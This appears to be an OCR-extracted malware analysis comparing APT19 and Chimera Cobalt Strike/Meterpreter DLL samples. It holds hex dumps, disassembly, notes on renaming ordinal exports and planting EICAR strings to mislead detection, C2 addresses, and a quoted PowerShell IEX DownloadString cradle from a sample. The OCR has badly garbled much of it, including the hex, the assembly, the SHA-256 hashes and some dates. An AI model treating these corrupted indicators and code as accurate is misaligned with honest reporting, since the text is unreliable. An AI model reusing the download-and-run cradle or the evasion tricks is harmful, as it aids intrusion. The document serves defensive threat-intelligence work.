00830000 | DO 09 G0 00 00 00 0D B9 00 09 00 DO 0O 00 B0 90
00O836DED | B0 B9 B0 A ©BO 60 0B B0 0O B0 GO B8 B6 6O B0 80
000836DFB | B0 00 GO0 6@ B0 60 0B B0 0O B9 GO B8 B0 60 B0 90
00030EGD | G0 69 00 OO P90 00 60 B0 FO B5 A2 56 80 3n 82 BB o pgle TEE
0OO30E16 | 8E 4A B3 9B 8A DC E3 92 D9 D9 D8 DB 86 B9 08 3B | RJCNEUS 0UAUN" ; | $ESmESHS
00O830EZ0 | OO B9 B0 A ©BO 60 OB B0 0O B0 B0 B8 B6 6O B0 90

00O30E30 | 74 08 63 08 70 B0 3A B9 2F B0 2F 6B 31 0668392688 ([t cp = F /719 tep://i19
0003BE4S | 32 GO 2E 0B 31 00 36 60 38 PO 2E B 32 PO 36 BB | 2 . 1 6 B 28 2.168.28
00030ESP | 38 00 2E 00 31 0033 09 33 0 3R 00 34 0034 080 | 8 . 13 3 - 4 4 8.133:44
00838E6E | 34 B8 34 OF 00 GO0 OO B9 B0 60 B0 OF 60 OO0 B0 B0 | 4 4 4h

00O830EYD | B0 00 B0 6@ B0 60 0B B0 00 B9 0O B8 ©B6 60 B0 90
0003BESS | G0 B9 00 OO 9O 00 B0 B0 00 90 OO B8 0P GO 66 BB
AAAZAF9A | AR AR AR AR AR AR AR AR AA AR AR AR AA AA AR AR

10b5edef0b9c5d 78572446242 ¥d53 1h1793a3 Tbd 366 9ch heh675289858aab hin | Comparing 201,728 bytes starting from 00000000 (0)
0AA36D40 | AA A8 AP AA A6 PO A0 A 0A OO 64 @A 00 A0 A8 68
00836050 | 64 68 AP GA 60 B0 0 A 00 6O 64 @4 B0 A0 A8 68
00030060 | B0 GO G0 OO 6O 00 OO B9 00 00 60 B8 00 60 6O 60
00036070 | 60 06 G0 O 60 00 OO 60 00 OO 60 68 00 60 60 60
0AA36DS0 | @A A4 AP AA A6 B0 A0 @A 0A 6O A4 @A 00 A0 A\ 68
00036090 | 64 08 AP GA 60 B0 A0 A 0O 6O 64 @4 B0 A0 A8 68
00030DA0 | B0 GO 00 OO 6O 00 OO B9 00 OO 60 B8 00 60 6O 60
00036DB0 | 60 06 G0 66 60 00 OO 60 00 00 60 68 00 60 60 60
0AA36DCH | @A A4 AP AA A6 B0 A0 @A 0A 6O A4 @A B0 A8 A\ 68
AAA36DDOA | 6A GO AP AA 0O A0 A0 G 0O OO 68 A8 00 A0 BO 0
00030DED | B0 GO G0 OO 66 00 OO B9 00 00 60 B8 00 60 6O 60
00036DF0 | 60 06 G0 G 60 00 OO 60 00 00 60 68 00 60 60 60
OAA30EAD | @A A4 AP AA A8 PO A0 @@ FA BS A2 56 80 3A A9 68 dpgUe memy
00A30E18 | D7 17 65 74 84 C5 7C 88 CF 58 CE 52 90 83 D3 BB etBA|MTPIR O | oiEidess =
00030E20 | B0 GO 00 OO 66 00 OO B9 00 OO 60 B8 00 00 6O 60

X

00030E30 | 74 00 63 00 70 00 3A 09 2F GO 2F 00 31 00392 88 |t cp : F /719 tcp://19
00O830EL4D | 32 08 2E 08 31 B0 36 69 38 GO 2E O 31 0630688 | 2 . 1 6 8 18 2.168.18
OOB3GESG | 30 B0 2E OA 32 BO 34 B0 33 GO 3IA O 3B OB 30 6B | B . 2 4 3 -8 @ 8.243:80
OOO30EG3 | 38 G0 30|96 G0 00 0P GO 00 6O 00 GG 60 6B G0 60 | 8 O 80

ES»EY | ODO3BE7S | 00 0O 00 0D 00 0O 09 G0 OO0 00 00 00 0O 00 69 60

Few times after the report of APT19, the group have deleted the export
reference in using ordinal way used for allow to use the beacon of Cobalt
Strike with a custom DLL. This has by example rename as "execute".

uint32_t ary
[ee] -r-x section size 1768128 named 6442

ri1d, ri1d
ried, ried
edi, edi
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eax, cl

edi

ri1d, eax

edi, 4 ; reloc. Ordinal_4
@x18e80810al

lea eax, [r1@ + rbx]
cnp. eax, dword [r9]
ja 0x180081acs

!

ecx, ri1d mov eax, 6
ecx, @x10 jnp 2x180001 8b3
byte [r1@ + rgl, cl

ried

ebx, 1 ; relec. ___ _Ordinal_1
0x180002109@

ecx, 8
byte [r1@ + rgl, cl
ried

cnp. ebx, 2 ; _ _Ordinal_2
Jle 0x18000109c

byte [ri@ + rgl, rllb

[ —

ri1d, riid
edi, edi
rbp

hl
esi, edx

@x1800@102d

esi

| l
test edi, edi
Jne 2x18000104b
i
| h
dword [r9], ried mov eax, 7
eax, eax Jmp. 0x18080018b3

o

, gword [var_gh]
. aword [var_1eh]
i, gword [var_18h]
1, gqword [var_2eh]

The group use this way only for changing the static reference in the
export table but kept the Meterpreter DLL as implant to run.

2
dword [var_98h], r12d

rbp, rax.
red, [ri2 +
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aword gs:[
jp b

rop, 1o 0]
ox180016c51 rbp
i

0x180016cd3

e
rdx

st
Jne  oxigediscdd

14\—1

0x180016cde

novzx  eax, byte [rsi]

Jp  exisedische

rdx, quord Crdx]

nov quord [rdx + 0
novzx  r8d, word [rdx + 0xd8]

—

ecx, oxd
byte [rsil, @
x180016cb3

J
novaxeax, byte [rsi]

r
bx
@x180016ca7

[

0x180016cda

H—1
. aword [rd + 0

novexd rax
mov il quord
nov  ebp, 4
rod, dword [
bp

[var_9gh]

01

a1, ‘byte [rdx]
al

al, a
exiB0016:

ecx, risd

ecx, ri3d
ox180016¢

) e 9 e =

S
it

T G

o

o o203, i

ebp, 4
0x1800164a5

nov eax, dword
add  rax, rdi
nov  guord [var_3oh], rax
i exiseesdss

rax + o)

Jnp

ox1c]

1
ox180016084

S

e ox

r11d, dword [rax + rdxed,

1, rdi
ox1800164a5

r13d
18001 652

s

s46c61b
©x1800160a5

L

eax, dword [rax + rdxed]
rax, rd

quord [var_38h], rax

ris,
r1s,

adx

wor
rad

dword [rbp + 0x3c]
rbp

word [r15 + ox16]
dword [r15 + 0x50

byte [
rax]
word [r15 + 61

word [r15 + ex14]

rdil, byte ptr [rsi]
rizw

8
0xi80016e58
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edx, dword [rax
r3d, dword [rax]
rdx, rbx

novsb byte [rdi], byte pt
ord Crax + 0x14], @x2i

0x180016e4f

quord [var_28h], rdx
dword [var_ssh], rsd

il

8,8
exig0016el F

add  rax, o
test

I

rbp, quord [var_20n]

word [rdi + x10]

5i]
ox180016efa

rbp, quord [var_3on]

]

ri4, r1a
0x180016ed0

Rovabs rax, 0x800000000)
test  quord [r14], rax
je  oxisedicedd

novsxd rax, dword [r12 1 quord [rsi]
ed, word [r14] 2
ecx, dord
aword rbx
word [rex + 12 +
2

dword [rex + rdo

rax, r2
0x180016edf

23

quord [rsi], rax

4, r1a
oxi 8001 eet

ord [rsil, @
ox18001

| N |

nov  rbp, qeord [var_20n]

eax, dord [rdi
rdi,
r2d, r2d
ex150016e72

e @ ]

r14, qeord [var_sh

il

rsi, rbx
rsi, quord [r15 + 030]
Sword (15 + 0xb4], r12d
axisom6fcr

adi, dword [r15 + oxbe]
eax, dword [rdi + 4]

@x150016fcF

adx, dword [rdi]

novax ecx, word (rg § SOCKET s
sib r8,n i u_long #argp
shrax, oxc

P ax + reloc.ws2.32.dl1 doctlsocket
jne  oxizoen

, I

rex, e ap  ax, 3
pord [rex + rdx 0x18001678F

0x180016¢b2

rex, r1o ap  ax, rilw
ne  exigeesfas

reloc.ws2_32.d11_

ox180016b2

v

ax, riaw
0x1800167b2
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Some samples tagged as APT 19 have the EICAR-TEST string to suggest
a detection of a test software for the SOC managers of the targeted
companies.We must not forget that if now this technique can be trival and
should be notified to fight against distraction measures towards the
detection of the tool, in 2016 - 2017, it isn't so well known and was very
effective during the pentests so for APT, I'll let you guess.

018002880 HTTP/1.1 200 OKAANContent-Type: application,"oct-et-strr-_-aﬁ‘-.,r‘-.,nContent-Length: adhrinirin
Ot 3751c %) 105Yaegkmg
O 18002550 IE‘{ (Mew- !]b|:ct Met.Webclient).DownloadString(* http ,’,"IE'.«" 0.0.1:%

O 180020290 % :1"31':1}3 a8 Ya0Bx Fa08x 08, %08x 08 B Yol Fo08x . Yo Hoae, Fas
di |Eﬂ.

00Z2batl could not run comman = 5!
0180052000 X5O'P%@AP[NPZH5A(PA)TCC)7ISEICAR- hTANDARD ANTIVIRUB TEhT FILE'SH+H*

The most recent samples on the same family of APT 19 hide theirs
references to the ReflectiveLoader reference in going to the Ordinal way
for the custom DLL few time after have been reported by Threat
Intelligences companies on theirs reports.The most recent Chimera
samples have done the same modification since 1st August 2020 in using
External domain or IP, Internal IP or localhost for have an elevated
session like on Active Directory machines.
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SHA-256
4544€922a0a46e3601115b8078ee6972368d2d3386450 84293 cdbbfBc TATIHT
ccd14c31dd98d9cTc3deT7437d440c8120ebdd5ecacd2BaTfedd84c 99 1adG5cd
8a343368941ce2c 3002242 36a96aecd32b00T86b2500746ac 184553d99b3912
822c5be1861c4df335db5d0b7b045f0bc 7847f06b2f626a7989058993f0a 1b5
daDd8dcB8a3c034275d3a98471009d cb5fc34afda5fcdf36a778c060e4113c429
57357d0f6a3989d9676e92607bEdEIT00I30c26f41F12d4TbeeTIc5df 0913334
cc02443dbfe5290451ff2f7f13f96b96590d31774c3c T2e6b2e236e7735dbd31
2a9523e7dbeT3aedBf1f46f8c549e1163e46f334a6367 b4 1fdeBcbd 1936bel
4404808 cffoed4143bab5e5ce84624eb9811abbled338bcbf3d41382aee5a3
fbe327350c11038fbdcec1 2eb7343ac2dcfccbbeed70a8216f9f8053479edbb3
24dc39a7ealf08318200eaccddbd44d98468d 863108 72477059789ealldbh
7d8e3458210963963742f5c6032Ted3a%ed65e2410a3343e54872934e83d44
6785dfb411255ch0ald 16bdccabdf3bb71e193694b34e397562acf cdadbaedae

801cac0879575ea2cf5dafd72d1676836c3acBhcd264635c4461c3ee90a79297

Vhash

123036651d15555143232271721d2312900157z

125036651d15555143232271721d2312900157z2

125036651d15555143232271721d23129001572

115056651d15555143232271721d2312900157z

125056651d15555143232271721d23129001572

125036651d15555143232271721d2312900157z

123036651d15555143232271721d2312900157z

125036651d15555143232271721d23129001572

125056651d15555143232271721d23129001572

125056651d15555143232271721d2312900157z

123036651d15555143232271721d2312900157z

125036651d15555143232271721d2312900157z2

125036651d15555143232271721d23129001572

125056651d15555143232271721d2312900157z

File type
Win32 DLL
Win32 DLL
Win32 DLL
Win32 DLL
Win32 DLL
Win32 DLL
Win32 DLL
Win32 DLL
Win32 DLL
Win32 DLL
Win32 DLL
Win32 DLL
Win32 DLL

Win32 DLL

File size

196.00 KB (200704 bytes)
196.00 KB (200704 bytes)
197.00 KB (201728 bytes)
194.50 KB (199168 bytes)
196.00 KB (200704 bytes)
197.00 KB (201728 bytes)
195,57 KB (200262 bytes)
197.00 KB (201728 bytes)
196.59 KB (201308 bytes)
196.00 KB (200704 bytes)
197.00 KB (201728 bytes)
197.00 KB (201728 bytes)
196.00 KB (200704 bytes)

196.00 KB (200704 bytes)

Filename
puti
mmy
ebtn
upload.bin

fgelk

Jqjj
Keexeraw
mmxr
Sample.bin
wvonl

Atung

Jev
nojv

ydbp

https://112.213.98.44:8443/y01ZSbt0ghZjjGKOPOXInwsGAF4fh -
ug_DJIWthkcIw248sAYaksYdEMFOATfLWAXNLZeLOcqpKHOORWpcWyunne -

jAQctfyIjN9i0CA97GrOQA/

tcp://192.168.233.129:4444
tcp://hash-37257.portmap.io:37257

Creation Time

2020-09-04 19:37:33

2020-09-04 19:37:33

2020-09-04 19:37:33

2020-09-04 19:37:33

2020-09-04 19:37:33

2020-09-04 19:37:33

2020-08-01 03:10:57

2020-03-01 03:10:57

2020-08-01 03:10:57

2020-08-01 03:10:57

2020-08-01 03:10:57

2020-08-01 03:10:57

2020-08-01 03:10:57

2020-08-01 03:10:57

First Submission

2020-09-30 18:23:00

2020-09-30 17:47:33

2020-09-22 16:06:56

2020-09-18 0&:28:49

2020-09-16 20:55:21

2020-09-15 02:52:27

2020-09-27 08:07:44

2020-09-23 22:31:04

2020-09-22 0&:32:53

2020-09-22 02:03:41

2020-09-1110:10:51

2020-09-08 20:52:56

2020-09-07 16:37:19

2020-09-07 0&:14:05

Difficult to say if the both groups are the same but a lot of commons
behaviour and TTPs can be observed. | estimated that more 200 samples
have been detected by the Thor rule as Chimera in the last six months

can be also linked to APT19 samples that detected by the common part of

the anomaly on the header. On compiling all the data, we can see the
common part and the little variant code but also that match with the
VHash and pairs that we have detected at the beginning of the analysis.

A list of data that can be queried is available here

It should be remembered that the way groups linked to government work
are sporadic groups linked only to a project like small teams. With this in
mind, it is easy to recognize similarities because they are probably the
same people and as soon as there is a different news, this classed as a
new APT group but nobody remembers Thrip, Calypso ... that use lot
similatires with APT10 or APT3 but have just a RAT or a small

modification of a PE ?
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https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/China/APT/Chimera/Pictures/InitListSamples.png
https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/China/APT/Chimera/Pictures/Sign.png
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/CSV/Database.csv
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